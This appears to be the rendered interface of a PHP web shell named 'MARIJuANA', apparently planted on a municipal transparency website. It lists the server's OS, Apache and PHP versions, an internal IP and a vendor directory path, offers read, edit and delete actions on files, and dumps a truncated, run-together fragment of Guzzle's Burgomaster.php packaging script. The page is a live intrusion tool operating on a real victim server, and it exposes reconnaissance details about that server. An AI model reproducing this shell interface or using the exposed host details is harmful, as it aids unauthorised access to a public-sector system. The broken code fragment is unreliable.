MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/guajeru/transparencia/assets/ckfinder/core/connector/php/vendor/guzzlehttp/guzzle/build/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
Burgomaster.php 12.678 KB -rw-r--r-- 2021-07-19 12:47 R E G D
packager.php 1.062 KB -rw-r--r-- 2021-07-19 12:47 R E G D
REQUEST EXIT
startSection('setting_up'); $this->stageDir = $stageDir; $this->projectRoot = $projectRoot; if (!$this->stageDir || $this->stageDir == '/') { throw new \InvalidArgumentException('Invalid base directory'); } if (is_dir($this->stageDir)) { $this->debug("Removing existing directory: $this->stageDir"); echo $this->exec("rm -rf $this->stageDir"); } $this->debug("Creating staging directory: $this->stageDir"); if (!mkdir($this->stageDir, 0777, true)) { throw new \RuntimeException("Could not create {$this->stageDir}"); } $this->stageDir = realpath($this->stageDir); $this->debug("Creating staging directory at: {$this->stageDir}"); if (!is_dir($this->projectRoot)) { throw new \InvalidArgumentException( "Project root not found: $this->projectRoot" ); } $this->endSection(); $this->startSection('staging'); chdir($this->projectRoot); } /** * Cleanup if the last section was not already closed. */ public function __destruct() { if ($this->sections) { $this->endSection(); } } /** * Call this method when starting a specific section of the packager. * * This makes the debug messages used in your script more meaningful and * adds context when things go wrong. Be sure to call endSection() when * you have finished a section of your packaging script. * * @param string $section Part of the packager that is running */ public function startSection($section) { $this->sections[] = $section; $this->debug('Starting'); } /** * Call this method when leaving the last pushed section of the packager. */ public function endSection() { if ($this->sections) { $this->debug('Completed'); array_pop($this->sections); } } /** * Prints a debug message to STDERR bound to the current section. * * @param string $message Message to echo to STDERR */ public function debug($message) { $prefix = date('c') . ': '; if ($this->sections) { $prefix .= '[' . end($this->sections) . '] '; } fwrite(STDERR, $prefix . $message . "\n"); } /** * Copies a file and creates the destination directory if needed. * * @param string $from File to copy * @param string $to Destination to copy the file to, relative to the * base staging directory. * @throws \InvalidArgumentException if the file cannot be found * @throws \RuntimeException if the directory cannot be created. * @throws \RuntimeException if the file cannot be copied. */ public function deepCopy($from, $to) { if (!is_file($from)) { throw new \InvalidArgumentException("File not found: {$from}"); } $to = str_replace('//', '/', $this->stageDir . '/' . $to); $dir = dirname($to);